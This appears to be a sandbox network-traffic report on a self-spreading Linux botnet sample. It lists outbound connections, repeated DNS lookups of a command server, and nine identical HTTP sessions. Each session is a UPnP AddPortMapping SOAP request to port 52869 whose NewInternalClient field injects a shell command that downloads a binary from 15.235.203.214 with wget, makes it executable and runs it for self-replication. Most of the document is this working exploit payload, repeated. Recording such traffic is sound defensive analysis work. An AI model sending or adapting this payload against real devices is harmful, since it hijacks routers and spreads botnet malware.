Jul 20, 2024 23:10:40.773416042 CEST	44384	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.773416042 CEST	38776	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.773416042 CEST	40370	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.773416042 CEST	47180	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.773416042 CEST	59190	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.773416042 CEST	34096	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.773631096 CEST	8081	55798	24.230.85.184	192.168.2.15
Jul 20, 2024 23:10:40.774183035 CEST	8081	58768	209.198.109.70	192.168.2.15
Jul 20, 2024 23:10:40.774744987 CEST	8081	58768	197.6.76.207	192.168.2.15
Jul 20, 2024 23:10:40.776077032 CEST	36800	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.776077032 CEST	57836	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.776077032 CEST	52388	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.776077986 CEST	52202	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.777427912 CEST	8081	58768	123.167.210.68	192.168.2.15
Jul 20, 2024 23:10:40.777741909 CEST	8081	58768	161.51.0.86	192.168.2.15
Jul 20, 2024 23:10:40.777795076 CEST	8081	58768	124.248.253.36	192.168.2.15
Jul 20, 2024 23:10:40.778574944 CEST	8081	58768	208.164.94.135	192.168.2.15
Jul 20, 2024 23:10:40.779059887 CEST	8081	58768	208.25.207.235	192.168.2.15
Jul 20, 2024 23:10:40.779063940 CEST	52348	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.779063940 CEST	43244	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.779616117 CEST	8081	58768	60.112.84.131	192.168.2.15
Jul 20, 2024 23:10:40.779913902 CEST	8081	58768	140.121.70.207	192.168.2.15
Jul 20, 2024 23:10:40.780086040 CEST	8081	58768	152.14.16.222	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 23:10:36.920233011 CEST	192.168.2.15	8.8.8.8	0x6caf	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:10:46.565738916 CEST	192.168.2.15	8.8.8.8	0x7c93	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:10:57.610265017 CEST	192.168.2.15	8.8.8.8	0x1271	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:11:05.672449112 CEST	192.168.2.15	8.8.8.8	0x8088	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 23:10:36.940431118 CEST	8.8.8.8	192.168.2.15	0x6caf	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:10:46.573702097 CEST	8.8.8.8	192.168.2.15	0x7c93	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:10:57.621397972 CEST	8.8.8.8	192.168.2.15	0x1271	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false
Jul 20, 2024 23:11:05.680290937 CEST	8.8.8.8	192.168.2.15	0x8088	No error (0)	vector.mineheaven.org	15.235.203.214	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.15	39574	112.183.31.205	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:38.988625050 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.15	38292	119.87.220.235	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.063000917 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.15	44182	19.2.120.96	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.066287041 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.15	48142	114.147.236.150	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.068869114 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.15	40888	175.109.109.84	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.073689938 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.15	43930	154.64.3.25	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.076267004 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.15	37458	219.152.75.176	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.079540968 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.15	43394	183.79.5.78	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.083164930 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.15	53020	157.142.69.44	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.086935043 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol 